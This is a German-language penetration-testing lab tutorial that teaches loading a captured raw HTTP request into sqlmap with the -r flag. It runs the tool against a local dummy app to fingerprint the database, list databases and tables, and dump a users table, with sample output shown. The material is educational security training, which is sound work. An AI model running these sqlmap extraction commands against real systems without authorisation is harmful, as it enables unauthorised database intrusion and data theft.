Einleitung
In diesem Lab lernen Sie eine leistungsstarke Technik zur Verwendung von sqlmap, einem beliebten Open-Source-Penetrationstest-Tool, zur Erkennung von SQL-Injection-Schwachstellen. Anstatt direkt eine Ziel-URL anzugeben, erfassen Sie eine vollständige HTTP-Anfrage mit einem Proxy-Tool wie Burp Suite oder ZAP, speichern diese in einer Datei und weisen dann sqlmap an, diese Datei für seinen Scanprozess zu verwenden. Diese Methode ist besonders nützlich bei komplexen Anfragen (z. B. POST-Anfragen mit vielen Parametern, benutzerdefinierten Headern oder Authentifizierungstoken) oder wenn Sie eine bestimmte Anfrage wiederholen möchten, ohne sie manuell neu zu erstellen. Am Ende dieses Labs werden Sie in der Lage sein, erfasste HTTP-Anfragen für präzisere und flexiblere SQL-Injection-Tests mit sqlmap zu nutzen.
Erfassen einer vollständigen HTTP-Anfrage mit Burp Suite oder ZAP
In diesem Schritt lernen Sie, wie Sie eine vollständige HTTP-Anfrage mit einem Web-Proxy-Tool erfassen. Während Burp Suite und ZAP gängige Optionen sind, werden wir zur Vereinfachung und um GUI-Komplexitäten in diesem terminalbasierten Lab zu vermeiden, das Erfassen einer Anfrage simulieren, indem wir direkt eine rohe HTTP-Anfrage für eine anfällige Webanwendung erstellen.
Stellen Sie zunächst sicher, dass unsere Dummy-Webanwendung zugänglich ist. Öffnen Sie ein neues Terminal und verwenden Sie curl, um eine Anfrage an sie zu senden.
curl http://localhost/sqli_test/index.php?id=1
Sie sollten eine Ausgabe ähnlich dieser sehen, die bestätigt, dass die Anwendung läuft:
id: 1 - Name: Alice<br>
Nun erstellen wir manuell eine rohe HTTP-Anfrage, die sqlmap verwenden kann. Diese Anfrage zielt auf den id-Parameter ab, der anfällig für SQL-Injection ist.
nano ~/project/request.txt
Fügen Sie den folgenden Inhalt in die Datei request.txt ein. Dies stellt eine einfache GET-Anfrage an unsere anfällige Anwendung dar.
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Speichern Sie die Datei, indem Sie Strg+X drücken, dann Y zur Bestätigung und Enter, um in request.txt zu speichern.
Speichern der rohen Anfrage in einer Textdatei (z. B. request.txt)
Im vorherigen Schritt haben Sie die rohe HTTP-Anfrage bereits erstellt und in ~/project/request.txt gespeichert. Diese Datei enthält nun alle notwendigen Informationen, damit sqlmap das Ziel und die Art der Interaktion damit verstehen kann, einschließlich der HTTP-Methode (GET), des Pfads (/sqli_test/index.php), der Parameter (id=1) und verschiedener HTTP-Header.
Um den Inhalt der Datei zu überprüfen, können Sie den Befehl cat verwenden:
cat ~/project/request.txt
Die Ausgabe sollte die exakte HTTP-Anfrage anzeigen, die Sie eingefügt haben:
GET /sqli_test/index.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Diese Datei request.txt ist nun bereit für die Verwendung durch sqlmap.
Verwenden des Flags -r zum Laden der Anfrage-Datei
In diesem Schritt lernen Sie das Flag -r in sqlmap kennen. Das Flag -r weist sqlmap an, die HTTP-Anfrage aus einer angegebenen Datei zu laden, anstatt eine URL direkt in der Befehlszeile anzugeben. Dies ist entscheidend für das Scannen komplexer Anfragen oder das Wiederholen von erfasstem Datenverkehr.
Die grundlegende Syntax für die Verwendung des Flags -r lautet:
sqlmap -r < request_file > [options]
Dabei ist <request_file> der Pfad zur Datei, die Ihre rohe HTTP-Anfrage enthält. In unserem Fall ist dies ~/project/request.txt.
Bevor Sie den vollständigen Scan ausführen, testen wir kurz, ob sqlmap die Datei korrekt parsen kann. Wir verwenden die Option --url mit einer Dummy-URL, nur um die Anforderung von sqlmap für ein Ziel zu erfüllen, aber die eigentliche Anfrage kommt aus der Datei. Dies ist eine gängige Praxis bei der Verwendung von -r.
sqlmap -r ~/project/request.txt --url="http://localhost/sqli_test/index.php" --fingerprint
Die Option --fingerprint versucht, das Backend-Datenbankverwaltungssystem (DBMS) zu identifizieren. Wenn sqlmap die Anfrage-Datei erfolgreich verarbeitet, beginnt es mit dem Fingerprinting-Prozess. Möglicherweise werden Ihnen Fragen gestellt; für dieses Lab können Sie im Allgemeinen die Standardoptionen akzeptieren, indem Sie Enter oder y drücken.
Sie sollten sehen, wie sqlmap seinen Prozess startet und anzeigt, dass es aus der Datei liest. Suchen Sie nach Ausgaben, die Folgendem ähneln:
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7#dev (r18600)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:34:56 /2023-10-27/
[12:34:56] [INFO] parsing HTTP request from '/home/labex/project/request.txt'
...
Dies bestätigt, dass sqlmap die Anfrage korrekt aus request.txt lädt.
Ausführen des Scans mit sqlmap -r request.txt
Nachdem Sie nun wissen, wie Sie die Anfrage-Datei laden, ist es an der Zeit, einen vollständigen SQL-Injection-Scan mit sqlmap und dem Flag -r auszuführen. Wir werden einige gängige Optionen verwenden, um den Scan effektiver zu gestalten.
Der Befehl lautet:
sqlmap -r ~/project/request.txt --batch --dbs
Lassen Sie uns diese Optionen aufschlüsseln:
-r ~/project/request.txt: Lädt die HTTP-Anfrage aus der Dateirequest.txt.--batch: Führtsqlmapim nicht-interaktiven Modus aus und beantwortet die meisten Aufforderungen automatisch mit "ja". Dies ist nützlich für Skripte oder wenn Sie wissen, was Sie erwarten können.--dbs: Listet die Datenbanken des Datenbankverwaltungssystems (DBMS) auf. Dies ist ein üblicher erster Schritt, um verfügbare Datenbanken zu entdecken.
Führen Sie den Befehl aus:
sqlmap -r ~/project/request.txt --batch --dbs
sqlmap beginnt nun mit seinem Scan-Prozess. Es wird verschiedene SQL-Injection-Techniken gegen den id-Parameter in der Anfrage testen. Da unsere Dummy-Anwendung anfällig ist, sollte sqlmap schließlich die Schwachstelle identifizieren und die verfügbaren Datenbanken auflisten.
Sie werden viele Ausgaben sehen, während sqlmap seine Tests durchführt. Achten Sie auf Zeilen, die die Erkennung einer Schwachstelle und die Auflistung von Datenbanken anzeigen.
Beispielhafte Ausgabe:
...
[12:35:00] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.0' injectable (UNION query (NULL))
...
available databases [2]:
[*] information_schema
[*] testdb
...
Diese Ausgabe bestätigt, dass sqlmap den id-Parameter erfolgreich als anfällig identifiziert und die Datenbank testdb gefunden hat, die wir im Setup erstellt haben.
Überprüfen, ob der Scan die richtigen Parameter aus der Datei anvisiert
In diesem letzten Schritt bestätigen wir, dass sqlmap den id-Parameter aus unserer request.txt-Datei korrekt identifiziert und anvisiert hat. Dies ist entscheidend, um sicherzustellen, dass Ihre erfasste Anfrage wie beabsichtigt interpretiert wird.
Wenn sqlmap startet, identifiziert es normalerweise die injizierbaren Parameter. Dies können Sie in der Ausgabe des vorherigen Schritts beobachten. Suchen Sie insbesondere nach Zeilen, die "GET parameter 'id' appears to be... injectable" erwähnen.
Zur weiteren Überprüfung versuchen wir nun, Daten aus einer Tabelle in unserer testdb-Datenbank zu extrahieren. Wir verwenden die Option --dump zusammen mit der Angabe der Datenbank und der Tabelle.
Zuerst listen wir die Tabellen in testdb auf:
sqlmap -r ~/project/request.txt --batch -D testdb --tables
Sie sollten sehen, wie sqlmap die Tabelle users identifiziert:
...
Database: testdb
[2 tables]
+-------+
| users |
+-------+
...
Nun extrahieren wir die Daten aus der Tabelle users:
sqlmap -r ~/project/request.txt --batch -D testdb -T users --dump
Dieser Befehl weist sqlmap an, alle Einträge aus der Tabelle users in der Datenbank testdb zu extrahieren, wobei die aus request.txt geladene Anfrage verwendet wird.
Sie sollten die Daten aus der Tabelle users sehen, was bestätigt, dass sqlmap die Schwachstelle erfolgreich über den id-Parameter in Ihrer erfassten Anfrage ausgenutzt hat:
...
Database: testdb
Table: users
[3 entries]
+----+---------+
| id | name |
+----+---------+
| 1 | Alice |
| 2 | Bob |
| 3 | Charlie |
+----+---------+
...
Dies bestätigt, dass sqlmap die Datei request.txt korrekt geparst, den id-Parameter identifiziert und die SQL-Injection-Schwachstelle erfolgreich ausgenutzt hat, um Daten zu extrahieren.
Zusammenfassung
In diesem Lab haben Sie erfolgreich gelernt, wie Sie das leistungsstarke -r-Flag von sqlmap nutzen können, um mit einer erfassten HTTP-Anfrage-Datei nach SQL-Injection-Schwachstellen zu suchen. Sie haben mit dem Verständnis des Konzepts der Erfassung von rohen HTTP-Anfragen begonnen, dann manuell eine request.txt-Datei erstellt, die eine GET-Anfrage an eine anfällige Anwendung darstellt. Anschließend haben Sie sqlmap -r request.txt verwendet, um Scans zu initiieren, zuerst zur Fingerprinting der Datenbank und dann zur Auflistung von Datenbanken und zum Extrahieren von Daten aus einer bestimmten Tabelle. Diese Methode bietet immense Flexibilität und ermöglicht es Ihnen, komplexe Szenarien zu testen, spezifischen Traffic erneut abzuspielen und sqlmap nahtloser in Ihren Workflow für Penetrationstests von Webanwendungen zu integrieren. Die Beherrschung dieser Technik ist eine wertvolle Fähigkeit für jeden Sicherheitsexperten oder Enthusiasten.


